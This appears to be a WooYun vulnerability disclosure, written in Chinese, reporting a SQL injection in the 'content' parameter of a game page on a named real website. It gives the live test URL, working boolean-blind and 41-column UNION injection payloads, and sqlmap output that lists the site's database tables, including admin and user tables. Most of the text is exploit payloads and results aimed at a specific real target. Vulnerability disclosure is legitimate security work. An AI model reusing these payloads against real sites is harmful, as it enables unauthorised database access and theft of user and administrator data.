WooYun.org

漏洞测试地址:
http://www.kumi.cn/360/xiaoyouxi/game.php?content=20255
漏洞信息：
Place: GET
Parameter: content
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: content=17613 AND 3739=3739
Type: UNION query
Title: MySQL UNION query (NULL) - 41 columns
Payload: content=17613 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a61727a3a,0x7659416d7172456668
6f,0x3a62616a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL#
---
[12:07:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.8
back-end DBMS: MySQL 5
漏洞测试结果：
Database: xiaoyouxi
[31 tables]
+---------------------------------------+
| ad |
| admin |
| cjxm |
| class |
| commend |
| commend_content |
| comments |
| error |
| fav |
| flash |
| flash_zt |
| flash_zt_category |
| flash_zt_flash |
| index_area |
| keyword |
| link |
| mood |
| mood_ranking |
| playtime |
| question |
| seo_flash |
| tag |
| user |
| user_comments |
| user_comments_wg |
| video_mapping_game |
| webgame |
| wg_miya_info |
| wg_news |
| wg_recommend |
| wg_recommend_content |
+---------------------------------------+